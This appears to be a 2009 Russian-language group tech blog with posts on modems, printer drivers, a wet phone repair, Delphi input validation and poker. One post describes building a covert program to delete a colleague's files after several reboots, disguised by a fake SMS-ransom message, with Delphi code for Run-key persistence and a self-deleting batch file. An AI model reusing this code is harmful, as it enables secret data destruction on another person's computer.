Поиск блогу

понедельник, 26 октября 2009 г.

Sunny. Возвращение.



Непонятно как и почему, однако наше творение в очередной раз кому-то потребовалось. Приятно. Система проектирования санитарных паспортов на перадающие радиотехнические объекты (ПРТО) Sunny возвращается. Сейчас сидел и кодировал очередную версию по супер фирменному методу от Nabla Group. В процессе кажись наткнулся на глюк из разряда "точка, точка запятая". который надо бы подправить, но как-то не охота.
Кроме того искал нужную версию наткнулся на попытку сделать апгрейд программы в плане ускорения рассчетов, путем введения потоков и еще чего-нибудь (не помню чего), обидно что не доделалось. Уж не сесть ли еще разок? Да, были планы у LittilDevil'а были очень не плохие апгрейды. Но Sunny 2 так и не вышла. Придется пользоваться версией 1.0.2.build Хотя как считаются версии для меня сейчас тоже загадка, потому что на компьютере встречал версии 1.0.3 хотя их дата создания раньше чем, у 1.0.2.
Ну кроме того нашел обложку от рекламного буклета. Вижу в первый раз, а сам такой рекламный буклет не видел вообще. А буклеты с выставки в ЦНТИ на VI Всероссийской научно-практической конференции "Актуальные вопросы разработки и внедрения информационных технологий двойного применения." я вроде как выбросил, а электронных версий найти не могу...

среда, 21 октября 2009 г.

А вот и Яндекс...

Да. Уже и не помню как давно я регистрировал этот блог на различных поисковиках: Рамблер, Яндекс, Апорт. Но пару месяцев-то точно прошло. Но до сегодняшнего дня так и не увидел, что бы кто-нить из тех степей туда заходил. И вот сегодня узрел гостей с Яндекса. Приятно, однако такое больше время ожидание пугает. Вон с Гугла постоянно кто-нибудь да заходит.
Хотя с другой стороны и активность на этом блоге маленькая, да информации полезной тоже не много. Надо раскручивать на написание статей других авторов...

P.S. Рамблер тоже показался.

суббота, 3 октября 2009 г.

Амнезия D-Link 2500

Всегда уважал компанию D-link, хотя ничего их производства у меня на данный момент нет. Все что было - все сгорело. Но речь не о том. Столкнулся я с одним глюком ADSL модема D-Link 2500, когда вроде все работает, и вдруг не пользователь видит ошибку 678, мол удаленный компьютер не отвечает. Грешат на провайдера, ибо модем работал и ничего с ним не делали, а провайдер говорит что у него все в порядке. При дальнейшем разбирательстве выясняется, что у модема куда-то делись все настройки, они их видите ли забыл. Восстанавливаешь и все нормально.
Казалось бы, ничего страшного - обычный глюк, однако такая ситуация встретилась мне уже на трех модемах, купленных в разных местах в разное время. Стоит отметить, что модемы сравнительно новые, а вот на модемах по старше таких проблем не возникало. Видать кризис коснулся D-Link'а: стали выпускать некачественную продукцию. Очень жаль. Ну что ж, используйте Acorp, или вообще оборудование Cisco. Дорого, но зато говорят качественно, лично у меня денег на такое добро нет.

HP 1020 на Windows 2003

Казалось бы что может быть проще установить принтер да еще и на винду. Однако я проковырялся не меньше часа. Вот не хотели драйвера вставать и все. Скачивал с официально сайта HP однако, при установке они упорно сообщали, что написаны не под эту ось и ставиться дальше не будут. Пробовал скачивать с другим сайтов тоже болт (на диске не было).
Уже приготовил веревку и мыло, чтобы повесится, но решил попробовать последний вариант которым никогда не пользовался: поставить галочку для поиска дров на серверах майкрософта. И о чудо, они нашлись и поставились, причем даже все работало.
Однако счастье оказалось неполным. После перезагрузке компа, принтер работать перестал, хотя виделся. С какого-то перепуга поменялся порт и винда стала его видеть как сетевой, вместо локального.
Но в итоге конечно все исправилось и все работает. Однако такая путаница с драйверами пугает, а ведь различных ОСей все больше и больше.

пятница, 18 сентября 2009 г.

Nokia E65 под дождем.

Около полу года приобрел себе Nokia E65. 9-10 тысяч для смартфона вполне нормально. Все в нем есть, что нужно для жизни. правда маленький аккумулятор да и крутая кожаная отделка очень быстро начинает облезать, но это всё мелочи. В общем, клевый телефон, я пользовался и радовался, пока не попал под дождь...
Дело было так. Шел по улице, начался дождь, телефон был в руке, так как время от времени получал и отправлял СМС. И тут когда я посмотрел в очередной раз на телефон у видел на дисплее черноту. Сделал вывод, что попала вода. Первая реакция забежал под крышу и вытащил аккумулятор. Телефон убран подальше от попадания воды и пошел дальше по своими делам.
Когда оказался в помещении решил повнимательнее посмотреть, что такое с телефоном. Вставил батарею, включил... кнопки горят, а дисплей нет. Наверно еще сырой, обесточил и пошел домой. Дома телефон выложил в разложенном состоянии, дал посохнуть около часа.
Эх и сколько раз я сам всем в подобных ситуациях говорил, что не надо спешить - пусть просохнет как следует... однако сам не удержался и опять поставил аккумулятор. Телефон стал включаться, но вскоре дисплей зарябил и выключился. Дальнейшие попытки включить телефон к успеху не привели...
Терять телефон которому меньше года и который меня всем устраивает терять не хотелось. Решил его разобрать. Благо в Интернете есть очень хорошие примеры разборки телефона. Разобрал, отсоединил шлейф дисплея и увидел 5 черных контактов как на телефоне, так и на шлейфе. Достал спирт, ватную палочку, иголку, увеличительное стекло и стал протирать. После манипуляций осталось только 2 черных контакта, который совсем не хотели оттираться. Забил, промыл еще раз спиртом, дал высохнуть и собрал.
Телефон включился, все заработало, хотя мне показалось что медленнее, но главное заработало, но вопрос в том на долго ли...
А проблема достаточна банальна. Крепление шлейфа дисплея к телефону находится с краю, прямо под швом между корпусом и передней панелью. Одна капля и все перегорает. Необязательно даже ронять телефон в воду. Наверно это конструкционное решение является одним большим минусом этого телефона.
Ну и на будущее надо бы заучить алгоритм действий с промокшим телефоном:

  1. Вытащить аккумулятор.
  2. По возможности аккуратно разобрать, как можно больше, чтобы ничего не сломать.
  3. Протереть контакты спиртом, но сильно не тереть, можно что-нибудь и отодрать.
  4. Ну и дать посохнуть, как минимум часов 12, а лучше больше. А потом включать.
  5. Если второй пункт или четвертый не получился, то необходимо как можно быстрее отнести в сервис, чтобы там все сделали специальным инструментом.
  6. Ну и конечно, не пользоваться телефоном в дождь...

четверг, 3 сентября 2009 г.

Последствия отключения.

Решил поэкспериментировать со своим DSL-подключением (менять, удалять). Казалось бы что страшного может случиться? Можно быстро все восстановить в рабочее состояние, то есть чтобы сервер снова выполнял свои функции. Поэтому предупредил об отключении сервера на 30 минут и начал работы, но...

...через 30 минут сервер не появился в поле видимости не смотря на то, что настройки подключения были восстановлены. Стал выяснять почему. Первая мысль "динамический IP-адрес", возможно не обновился. Глянул а модем вообще не знает, что у него когда-то такая штука была. Пришлось настраивать. Но опять тишина. Пинги не проходят, ВПН не поднимается. Оказалась слетела еще и переадресация портов. Пришлось заново настраивать.

Вот так вот. Казалось бы всего-то удалил подключение на модеме и создал новое, абсолютно такое же. И все прочие настрой удались следом и безвозвратно. В следующий раз надо будет экспериментировать аккуратнее...

четверг, 20 августа 2009 г.

Видим Apache из Интернета.

Уже писал, что поставил себе сервачок. Решил я там поднять Apache+PHP+MySql. Собственно как это сделать написано много всего, я пользовался описанием с сайта softtime.ru. Сделал все как написано. Создал корневой сайт, а так же виртуальный хост. Однако локально вижу все правильно, а вот из вне всегда попадаю в корень. Искал долго проблему, излазил весь Интернет. И наткнулся на форум, где посоветовали использовать следующие директивы за место тех, что написано в описании:
NameVirtualHost *
< virtualhost* >

И все сразу заработало.
В общем надо разбираться в настройках Apache, собственно сервер и стоит чисто для учебных целей.

суббота, 15 августа 2009 г.

IDE - SATA. Конвертер интерфейсов.

Поставил я у себя некое подобие сервера. Компьютер старый остался, выбрасывать жалко, а как хранилище фалов вполне сойдет. Одна проблема жестких дисков больших размеров с IDE интерфейсом днем с огнем не найдешь, а вот SATA дисков полно, но в мать их не в пихнуть. Что делать?
Слышал в Интернете о SATA контроллерах, которые вставляются в PCI слот компьютера и могу хватать SATA диски, но в местных магазинах цены у них от 1000 рублей. Уж было пошел покупать, но меня остановили и предложили использовать переходник. Стоит дешевле, порядка 600 рублей, компактнее и ничего лишнего не занимает, но функцию свою выполняет. Уговорили:


Сам конвертер реально компактный. Вставляешь его в жесткий диск и тот всего-то удлиняется на 1 см. Функцию свою данное устройство выполняет. Не требует никаких драйверов.
Что же касается минусов. Уж больно он не надежно крепится на жесткий, точнее совсем никак не крепится. Того глядит упадет и оторвет разъемы жесткого.
В целом штука полезная, хотя и не перспективная. Ибо когда компьютер выйдет из строя она будет уже не нужна. А вот PCI контролер можно поставить в новый комп и навешать туда жестких. Правда в новых компах PCI слоты заканчиваются, а PCI-EX нет в старых. Но и тут на помощь могут прийти переходники.

воскресенье, 2 августа 2009 г.

Управляй светом. LX2000.

Очередной пост о железе. Правда на этот раз железо не компьютерное, хотя, я думаю, его можно как-нибудь приделать и для компа. Речь пойдет о многофункциональном электронном сенсоре включения освещения LX2000. Название конечно впечатляющее. Увидев эту штуку в К-Раута, не думая кинул его себе в корзину. Кстати стоит такая штука 300-400 рублей, на цену я как-то внимания не обратил.
По своей сути этот прибор есть выключатель, но только без клавиш. На коробке вполне хорошо написано для чего он нужен: "Сенсор автоматически включит свет при появлении в зоне его действия движущихся тепловых объектов, а так же выключит его через определенное время (согласно настройке) при отсутствии движения объектов в зоне контроля. В корпусе сенсора встроен датчик освещенности, который автоматически определяет смену дня и ночь. Встроенный регулируемый высокочувствительный датчик звука также позволит включать и выключать освещение."  Но на заборе тоже пишут, а как же оно на самом деле...
А на самом деле не все так радужно. Поставить эту вещь я решил в коридоре. Он длинный, две люстры, поэтому выключатель был двух кнопочный. А вот в LX2000 всего две дырки вход и выход, причем их размеры такие, что наши алюминиевые провода в изоляции туда не влезают, а сам контакт расположен достаточно далеко от начало дырки. А проводов у меня оказалось три. В итоге пришлось провода от люстр объединять (один накручивать на другой) и больше снимать изоляции.
Сам прибор китайский явно не для наших стен, поэтому в стене он фиксироваться никак не хотел, поэтому пришлось гнуть крепеж.
Прибор имеет четырех позиционный выключатель. В первом положении свет включен не смотря ни на что, во втором всегда выключен, в третьем включается только по движению, в четвертом по движению и по звуку. После установки и включения электричества, он прошел проверку, согласно, инструкции во всех четырех положениях.
В процессе эксплуатации мне не понравились следующий вещи:
Во-первых, свет выключается только через 5-10 секунд, что на мой взгляд достаточно много (меньше не настраиваться).
Во-вторых, существует обратная проблема, когда вошел в коридор нагнулся развязать шнурки через 5-10 с свет выключится. Больше времени можно конечно настроить, но тогда первая проблема становится вообще ужасной.
В-третьих, чувствительность звуковая на мой взгляд не нужна. Так как например на кухне смотришь телевизор, свет в коридоре мигает.
Но в целом штука полезная, пока не пожалел. Приятно когда приходишь домой а свет уже горит. Выходишь ночью  и свет включается. Конечно еще надо помучить настройки и найти какой-то оптимальный вариант.

среда, 29 июля 2009 г.

Acorp L-100S

Когда-то я писал о том, какой хороший DSL модем Acorp 420. Я собственно и не отказываюсь от своих слов, даже не смотря на то, что он недавно благополучно сгорел во время грозы. Однако не все хорошо, что делает Acorp.
После грозы сгорел не только модем, но и несколько сетевых карт. Купил первые попавшиеся (не предавал никогда какого-то особого значения сетевым картам), ими оказались сетевые карты Acorp L-100S. На вид выглядит вполне прилично: в пакетике с инструкцией и диском с драйверами на все операционные системы (Win, Mac, Unix и др). Однако в процессе монтажа возникли проблемы.
Карта оказалась немного толста и никак не хотела залезать в PCI-слот, хотелось даже стукнуть молотком. А вот излишки полноты компенсировались в длине карты, она короче. В итоге при установке карты приходить ориентировать не на края слота, а на вырез в карте. Все это приводит к некачественной установке, что выражается либо в неопределении карты, либо в её чудесном пропадании. Кроме того драйвера на Windows 2003 вставали тоже с трудом, правда тут можно сослаться на некорректную работу системы.
В общем, я недоволен, а ведь купил целый две (одну в запас). D-Link - forever, ну в плане сетевых карт, не подводили.

вторник, 28 июля 2009 г.

Война машин. Борьба умов.

Играя на работе на телефоне в Тетрис, в разновидность Versus, меня как не профессионального программиста стал волновать один вопрос "А как? Как сам телефон играет". Ну и если дальше развивать мысль, то меня так же стало волновать что будет, если будет играть компьютер с компьютером, так называемая война машин.
А ведь понятно что все машины действуют по занесенным в их память алгоритмам, так сказать творения умов человека. То есть война машин есть не что иное как борьба умов. Если конечно умы разные.
Вот и возникла у меня идея провести войну машину, борьбу умов. Однако в памяти всплывают определенные попытки в этом направлении. Были Цифры, к которым я предлагал написать тактику для компьютера, в итоге писал только я, что приводило не к борьбе умов, а к борьбе ума, что было не очень-то интересно так как исход битвы был мной предсказуем. Был Выход из комнаты, но так же обилия алгоритмов выхода не наблюдалось, а товарищ MiM подошел к этому вопросу читерски и стал, можно сказать вне конкуренции. В общем опять не интересно...
Ну что-ж. Я думаю все-таки можно предпринять еще одну попытку организации данного мероприятия, где можно включить как старые этапы, так и придумать новых...
....тем более товарищ MiM опять заинтересовался...
P.S. Если вдруг случится чуда и кто-то из тех кто, сюда зашел почитать этот блог тоже заинтересовался и хотел бы принять участие пишите support@nabla.com.ru.

суббота, 18 июля 2009 г.

AVerTV DVI Box 1080i

Посчастливилось мне тут на днях подключать тюнер AVerTV DVI Box 1080i, особенность у которого DVI вход и выход. Честно говоря разочаровался.
Первое разочарование в том, что с первого раза я его не подключил. Задача была следующая: компьютер с видюхой с VGA интерфейсом и монитор с DVI и VGA со встроенными колонками. Подключал по схеме от компа в тюнер от тюнера в монитор. От тюнера к монитору  DVI провод идущий в комплекте, от компа к тюнеру тот который был через переходник. Телевизор есть изображения с компьютера нет.
Оказывается данная модель работает либо с двумя DVI либо с двумя VGA. В связи с  этим удивляет комплект поставки, где имеется всего один переходник с DVI на VGA и полной отсутствие VGA кабелей. Да и вообще инструкция по эксплуатации изобилует фразами типа "не поставляется". В итоге приходится докупать, при том, что сам-то тюнер тоже недешевый.
Вторым разочарованием для меня стала подставка под тюнер. На ней тюнер-то и без проводов стоит не очень, а с проводами и говорить не стоит.
Ну и третий минус это отвратительные цвета меню. Можно что-то разглядеть смотря в упор в монитор. Чуть отодвинулся и не видно ничего.
Пощупать подробнее тюнер не было возможности, так как  задача была только подключить и настроить. Поэтому достаточно подробный обзор можно еще где-нибудь и почитать. Но я бы себе не стал покупать данный продукт.

среда, 8 июля 2009 г.

iGoogle Blogger гаджет.

С первого взгляда заголовок поста напоминает непонятный набор слов, однако со второго непонятности не исчезают, и появляется еще одно разочарование.
В Google можно настроить персональную страницу iGoogle, на которой можно разместить различные гаджеты: время, игры, новости и прочее. Одним из таких гаджетов является Blogger, позволяющий отправлять посты в блог прямо с этой чудо-страницы. Установив его на своей странице, я попробовал что-нибудь сразу же отправить в блог, однако все кнопки и поля были заблокированы. "Не настроен" - мелькнула мысль. Однако поиски настроек привели меня к комментариям без ответа типа "А как он настраивается?". Подумав, что данный гаджет не работает, ввиду своей новизны, я культурно на него забил.
Однако вчера я в очередной раз наткнулся на описание данного гаджета. Решил посмотреть на свой, и о чудо, все поля и кнопки активны и в верхнем правом углу красуется название блога. Предпринял очередную попытку отправить тестовое сообщение - опять не удача. Вместо русских букв пришли знаки вопроса. Вычитал что, гаджет совместим не со всеми браузерам. Пробовал менять бразуеры и компьютеры. Все одно и тоже - облом.
Ну что ж, придется писать руками через интерфейс разработанный самим Bloggerом и параллельно ждать когда чудесным образом заработает это гаджет, как-то он все-таки настроился...

вторник, 7 июля 2009 г.

OpenID - моё разочарование.

Сегодня я разочаровался в OpenID. Сначала было долго радовался, что Blogger поддерживает данную технологию и вроде как является провайдером, все не знал когда и где бы можно было бы этой радостью воспользоваться. Терпение лопнуло. Воспользовался в LiveJournal в блоге "Искусство узнавать", оставив там свой комментарий. И вот оно разочарование. Планировал-то я, что в качестве автора комментария будет гордо красоваться Head, однако получилось скучно nablagroup.blogspot.com, даже не название блога, всего лишь адрес.
Ну и где-тут идентификация? Управляют-то этим блогом 3 человека. И как теперь определить кто оставил комментарий? Боюсь, что только по почерку.
Конечно, наверно, если использовать специализированного провайдера этой технологии, то оно может быть было бы по-другому. Но зарегистрироваться там как Head достаточно сложно. Да и пригодится этот идентификатор разве что комментарии оставлять, потому что сервисов, которые пускали бы по OpenID я, честно сказать, не встречал.

Казуальные игры.

Когда-то, около года назад, один мой друг сообщил, что работает в компании, которая занимается разработкой казуальных игр. Тогда для меня даже это слово было загадкой. Узнав же его значение я вообще подумал, что кому нужна эта тупость. Ну ладно тетрис - это классика, но всякие зумы и линии это уже не то. К тому же что тут нового и интересного можно придумать? Все что можно вроде уже придумали...
И совсем не давно мое мнение изменилось. Я наткнулся на сборник игр от Alawar Entertainment. Я даже не знал, что обычные игры можно так улучшить. Играть реально интересно, проходил одну за другой. Может конечно, свой отпечаток накладывает работа и от того появляется такая тяга к играм, но то что это лучше пасьянсов это точно. Интересно, красиво и увлекательно. В общем рекомендую...
Между тем задумался, а не напрячь ли свои мозги и не написать ли тоже какую-нибудь казуальную игру... Хотя с другой стороны, лежат ведь еще три недоделанных игры. Надо бы сначала их доделать...

среда, 1 июля 2009 г.

Хороший человек - Плохой человек.


Рассказали мне историю про хорошего и плохого человека. Заключается она в следуюшем. Жил на свете хороший человек, умный, трудолюбивый, старательный. Разработал он хорошие файлы какие-то, которые сразу же присвоил себе плохой человек. И нет бы спасибо сказать, но плохой человек наоборот по возможности старался подставить хорошего человека. Ну на то он собственно и плохой человек. Обиделься хороший человек и задумал он думу страшную, подставить плохого человека, поудалять вышеуказанные файлы, да так, чтобы никто не догадался...
Так получилось что, додумывать думу пришлось мне. Идея ясна надо на компьютер занести вирус, который бы вынес эти файлы. Но найти этот вирус достаточно сложно, а то вдруг еще чего лишнего поубивает. Поэтому лучше написать самому программку, которая удаляла бы указнные файлы, по истечению какого-то времени, а затем и сама удалялась.
Так как доступ к компу назначения есть, но неизвестно какой уровень компьютерной грамотности у этого доступа. То я решил написать админку для настройки. Получилась отдельная прожка, которую я назвал GoodMan. Состояла она, буквально в следующем, запускается окно, где надо указать через сколько перезапусков файлы удаляться, и собственно сам список этих файлов, затем по нажатию на кнопку "Сохранить", данная информация записывалась бы в ини-файл "c:\windows\badmanset".
Вторым этапом стало написание программы, которая бы использовала сохраненные указания и следовала бы им. Данная программа получила название BadMan. Сама программа совсем не сложная: при каждом запуске читаем ини-файл смотрим сколько она запускалась, прибавляем к этом числу единичку запсиываем обратно. Если запускалось много, то удаляем файлы. Только есть одно замечание - это мленкьая программа, без форм, юнитов и прочего:
program Project2;

uses
Windows,
sysutils,
ShellApi,
Registry,
inifiles;

{$R *.res}

var
Begin
ТЕКСТ ПРОГРАММЫ
end;

Все вроде бы ничего, но как-то похоже на деверсию, но не на вирус, так как никаких следов нет. Ну что ж маскируемся. Слышал я когда-то про вирус, котрый блокирует файлы и выдает сообщение с требование отправить смс на короткий номер с целью разблокировки. Закосим под это. Конечно блокировать ничего не будем. Просто создадим файлик на Visual Basic за место исходного файла с тем же именем, куда напишем что-то такое:
MsgBox "Для разблокировки файла отправьте SMS на номер 09666 с текстом 0897659",vbYes+vbCritical,"Файл заблокирован."
Ну что ж замаскировались. Надо теперь как-то запускать нашего "ПлохогоЧеловека", а именно запихать его в автозагрузку системы. Способов сучествет много, лично мне больше приголянулся способ с реестром. Сильно не выпендриваясь:
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Start','c:\windows\badman.exe');
Reg.CloseKey;
Reg.Free;
Теперь у нас все запускается и работает. И вот все файлы удалены. Пришло время удалить себя. Ну удалить из реестра можно по аналогии. Но как удалить самого себя если, мы вроде как еще рабоатем? Ну что-ж, позовем киллера, которого сами и создадим. Этим киллером будет bat-файл. Оказывается он может сам себя удалить. Создаём и запускаем:
assignfile(f,'c:\windows\uninstall.bat');
rewrite(f);
writeln(f,'@echo off');
writeln(f,'del c:\windows\badmanset');
writeln(f,':try');
writeln(f,'del c:\windows\badman.exe');
writeln(f,'if exist c:\windows\badman.exe goto try');
writeln(f,'del c:\windows\uninstall.bat');
closefile(f);
ShellExecute(HInstance, 'open', 'c:\windows\uninstall.bat', nil, nil, SW_SHOWNORMAL);
Ну вот вроде и все. Можно легко указывать "хорошим человеком" цель "плохому человеку", "плохо человека" запихали в автозагрузку, научили его выполнять поставленную цель, маскируя свою работу, и после выполнения задания объяснили как можно самоуничтожиться. Ну и чтобы не путаться в порядке дейтсвий и обилии файлов создадим еще один батничек, который поможет Хорошему человеку, который будет осуществлять проникновение на компьютер Плохого человека, быстро установить нашу ловушку:
Goodman.exe
copy badman.exe c:\windows\badman.exe
badman.exe
Вот наше что-то и готово. Да же не знаю как это назвать, вроде как на вирус не катит в виду своей громозкости, но все-таки вроде бы является вредоносной программой. Однако о вредоносности еще можно поспорить. Так как, на мой взгляд, является преступным сама идея подставить человека, а данная программа все-лишь инстурмент, который позволяет это сделать, причем именно инструмент, так как без вмешательства и установки цели она совершенно безвредна. Остаётся только надеяться на то, что Хороший человек не станет плохим и не будет использовать данную программу многократно в своих личных целях.


вторник, 30 июня 2009 г.

Честность VS Патриотизм.

Так случилось, что узнал я о существовании некой операционное системе МСВС (Мобильная Система Вооруженных Сил). Данная система вроде как является русской разработкой (ВНИИНС) для военных нужд. Жутко стало интересно что это такое и с чем её едят...
Залез в Интернет. Оказалось сие чудо совсем не секретно, все его вроде как знают и с интересом ставят себе на компьютеры просто чтобы поюзать. Как оказалось, разработка это совсем не русская, а просто сборка на базе Линукса Red Hart (очень символично, по-моему, здесь присутствует слово "красный"), причем достаточно старого. Кроме того данная штука очень напоминает Windows95/98. Всё это заставляет разочароваться в данном продукте...
Однако вопрос в другом. В некоторых блогах встречаются высказывания, что мол нечестно поступает Министерство обороны, так как нарушает лицензию, по которой должен распространяться Linux и его производные, в плане что исходные коды не предоставляются вместе с системой, и предлагают куда-то там пожаловаться.
Вот она современная компьютеризация. Какие-то лицензии из компьютерного мира, придуманные где-то за бугром, стало гораздо выше любви к своей родине. Хотя стоит отметить, что все-таки не честно нарушать лицензию. И что теперь делать? Ведь если открыть исходный код, то сама система потеряет своё предназначение, всё-таки для военных нужд, должно же быть хоть что-то секретное...
Конечно, поступают предложения о том, что Россия страна богата талантами и гениальными людьми, сели бы да написала свою операционную систему с нуля. Однако и тут есть свои "но":
  1. Другие операционные системы писались годами, и то все в дырках и уязвимостях, поэтому не факт, что новая система будет идеально защищена.
  2. В мире куча людей подсели на наркотик под названием Windows. И попробуйте теперь пересадить на что-нибудь другое - это сложно достаточно. Тем более в среде военных, про которых и так ходит много анекдотов и слухов по поводу их гениальности.
В заключении выскажу своё мнение.
Надо довольствоваться тем, что есть. Ничего нового изобретать, думаю, не стоит. Собственно как и распространять исходники направо и налево. Хотя было бы не плохо распространить их среди талантливых военных (такие несмотря не на что все-таки есть) дабы совершенствовать и обновлять существую систему.
Кроме того, надо бы перерассмотреть работу военных в плане информационных технологий, ввиду того, что технологии развиваются быстрее и быстрее с каждым годом, а вот руководства по их использованию остаются с советских времен...

пятница, 12 июня 2009 г.

Nabla Logo


Рылся в зарослях папок на компе и наткнулся на какие-то остатки зародков сайта, которые когда-то давно мы хотели сделать. Мало что осталось, но по-моему достаточно неплохой логотип остался:
Теперь наверно надо подумать куда-бы его прикрепить...

Nabla *.com.ru, *.net.ru, *.org.ru

Наконец-то дошли руки и поставил переадресацию сюда.
Теперь на эту страницу можно попасть со следующих адресов:


Зачем так много? А не знаю. Валяются без дела, пусть хоть чуть-чуть поработают.

P.S. Возможно пока переадресация не работает, но скоро точно будет.

среда, 10 июня 2009 г.

ALL-IN

Не так давно решили мы с одноклассниками собраться и поиграть в покер. Собственно собрались и поиграли. Сначала мало кто из одноклассников хотя бы имел какое-то представление о покере, поэтому учились, играли просто так. Затем когда почуяв вкус игры стали играть на реальные, хоть и небольшие, но все же деньги. Сначала общий банк был 100-150 рублей, потом 300-350, и вот в последней нашей игре он достиг 450 рублей.
Самое интересное что с самого начала фартило и уже очень скоро я стал держателем, примерно половины банка, это при том, что начинал с 50 рублей. Но счастье было не вечным и две сдачи, на которые я ответил "All-IN" лишили меня практически всего, я ушел даже в минус. Однако собравшись мне все-таки удалось перейти на плюс, но вернуть былое могущество было уже сложно да и время подошло к концу.

Вообще, покер - игра интересная, но все-таки азартная. Играть с людьми гораздо интереснее и веселее чем в Интернете. Однако надо следить за эмоциями и не тратить много. А так это очень здорово, учитесь и играйте в покер, в Texas Holdem, советую...

P.S. Мои результаты игр:
1. Выйграл 25 рублей.
2. Проиграл 50 рублей.
3. Выиграл 27 рублей.

В общем-то по деньгам ровно. А по эмоциям и хорошему настроению - явно вплюсе.

понедельник, 8 июня 2009 г.

Я легенда.

Дело было вечером, надо было что-то делать. Решил посмотреть какое-нибудь кино. Качать ничего не хотелось, поискал у себя в запасах и нашел старенькое кино, которое я до сих пор не смотрел: "Я легенда".

Посмотрел. Честно говоря не впечатлило. Сюжет достаточно банальный, изобретают вирус, который большую часть человечества превращает в ужасных зомби, которые убивают остальных, имеющих иммунитет от этой заразы. И как всегда находится кто-то, кто пытается все исправить. В общем очередной Обитель зла, только вот один минус еще частей не снимешь, главный герой погибает, да и вакцину он все-таки придумал, да и вирус больше не распространяется. Хотя нет, во второй части вакцина поможет не всем и вирус еще разок мутирует... или что-то в этом духе. Не понятно зачем конечно, ибо 90% населения Земли померло...

Кроме того, при просмотре данного фильма вспомнился еще один "Я робот", где так же главную роль играл Уил Смит. Интересно в каком следующем фильме его увидим? "Я Бог"? Подождём увидим, будем надеяться, что фильм будет достойным. Во всяком случае Людей в черном приятно посмотреть еще разок...

пятница, 29 мая 2009 г.

Точка, точка, запятая...

Все тот же Delphi, все таже программа для студентов. Написал, быстренько протестил - вроде все работает. И отправил на согласование. Жду лестных отзывов. А отзывы приходят совсем неожидаемые.

Не работают увеличение/уменьшение дробный чисел. Почему? Ведь там все предельно просто:
Edit.text:=floattostr(a-0.01);

Стал разбираться. Оказалось функция floattostr работает косячно. И очень зависит от настроек винды. Если винда настроена на точку, то дробным число она считает с точкой, если на запятую, то дробные числа с запятой, а с точкой это слово. Все вроде бы ничего. Но на событии OnChange есть процедура val, которая работает исключительно с точкой.
В итоге, так как уменя все на точку настроено, то глюков у меня нет. А вот на компе согласование настроено на запятую. И при увеличении там значения, val думает, что это текст, выдаёт ошибку и возвращает предыдущие значение, но через тот же floattostr. Система зациклилась, увеличение/уменьшение не работает.

Решение этой проблемы банальное, меняем принудительно точку на запятую, а это на каждый вывод чисел дополнительно надо вешать Stringreplace. Опять получается громоздко. А все почему? Поточу что кт0-то не может прийти к единому мнению как писать дробные числа с точкой или запятой... Не правильно это...

четверг, 28 мая 2009 г.

Контролировать ввод данных.

Так случилось, что пришлось сесть за комп, открыть Delphi и писать программу, не коммерческого, но, можно сказать, массового использования. Сие творение будет представлять из себя лабораторную работу для студентов изучающих процессы в оптоволокне.
В ходе работы потребуется вводить различные значения. Но студент не будет студентом если не введёт что-то другое, нежели указано в методическом указании. Вот собственно я и задался проблемой обломать студентов и перекрыть им возможность всяких буковок и прочей фигни...

Первый вариант был достаточно прост и удобен. Решил я все сделать по событию OnKeyPress. Все вроде бы просто, смотришь, что было уже написано, определяешь, где находится курсор, вставляешь туда символ который нажали. Полученный текст прогоняешь процедурой val(s,a,r), где s - наша получившаяся строка, а число которое процедура смогла выцепить и r - номер символа на котором процедура споткнулась. И если либо a не удовлетворяет условию, либо r больше нуля присваиваешь переменной Key #0
Все работало удивительно, за исключением маленькой проблемки. Нельзя было стереть лишние символы. Но это просто решалось добавлением условия, что вести обработку только тех символов, которые больше  равны пробела. Но счастье длилось не долго.  Я забыл про такую комбинацию клавиш как ctrl+V, которая вставляла  в поле все, что хотела, хоть войну и мир.

Делать нечего. Надо думать над вторым вариантом. И вторым вариантом стала обработка события OnChange. У этого события есть один недостаток. Оно ничего не возвращает, то есть не говорит что нового появилось и не помнит что было. Вот Вам мол что есть с этим и работайте, раньше точно было другое. Это проблема устраняется вводом новой переменной, которая бы запоминала предыдущее состояние поля. Я взял эту переменную типа real. Ну а дальше опять же val
Но как оказалось и тут промашка. При попытке ввести отрицательные значения например и нажатии двух минусов подряд, значение в поле сбрасывает в предыдущее реальное значение, то есть 0, хотя вроде как предыдущим-то должно быть "-". Такая же бодяга и с точками. Выход из этой ситуации сделать переменную предыдущего статуса текстового типа, но мне данный вариант не понравился. Либо оставлять VAL еще и на событии OnKeyPress. Что мне тоже не понраву, так как если много полей и для каждого свои условия, то исходный код программы разрастается ужасно много.

В общем время потеряно. А проблема осталась. Но в принципе-то работать можно. Студенты со нормальной длиной носа лишнего ничего не введут, а вот длинноносым будет хуже при сдаче лабораторной ;)

P.S. Вот как-то так:
var s:string;
r:integer;
a:real;
begin
  begin
    s:=(Sender as Tedit).Text;
    if (s<>'') then
    begin
     val(s,a,r);
     if (r>0)or(a<0)or(a>=2000)or(length((Sender as tedit).Text)>5) then 
begin 
(Sender as Tedit).Text:=floattostr(L);
(Sender as Tedit).SelStart:=length((Sender as Tedit).Text);
end else l:=a;
    end
    else L:=0;
  end;
end;


Первый пост.

Вот он, первый пост. Как всегда ни о чем. :) Но зато дальше наверно пойдёт интереснее.

По планам блог не будет иметь особой тематики. Тут будут писать все кто-то хочет из тех кто называл себя членом "Nabla Group". Возможно потом изменим, поудаляем... А пока жизнь, смерть, философия, компы, новости и прочее, прочее, прочее... всё в одной куче.